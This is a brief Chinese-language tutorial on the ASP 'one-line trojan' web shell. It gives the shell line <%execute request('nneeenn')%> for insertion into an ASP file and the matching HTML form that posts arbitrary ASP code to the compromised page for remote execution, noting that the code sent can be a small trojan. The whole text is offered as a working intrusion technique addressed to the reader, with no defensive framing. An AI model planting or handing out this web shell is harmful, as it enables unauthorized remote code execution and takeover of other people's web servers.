一句话木马就是在asp文件插入类似于这样的代码”<%execute request(“nneeenn”)%>”execute函数允许执行任意asp代码在客户端写一个表单<form action=”你挂马的页面” method=”post”><input type=”text” name=”nneeenn” value=””><%–!此处的nneenn和<%execute request(“nneeenn”)%>中的nneeenn必须一致–%><input type=”submit” value=”发送”></form>把上面的代码保存成mm.html打开在里面输入你要执行的asp代码点击发送这时 你写的asp 代码就在远程执行了而那个asp代码可以是个小木马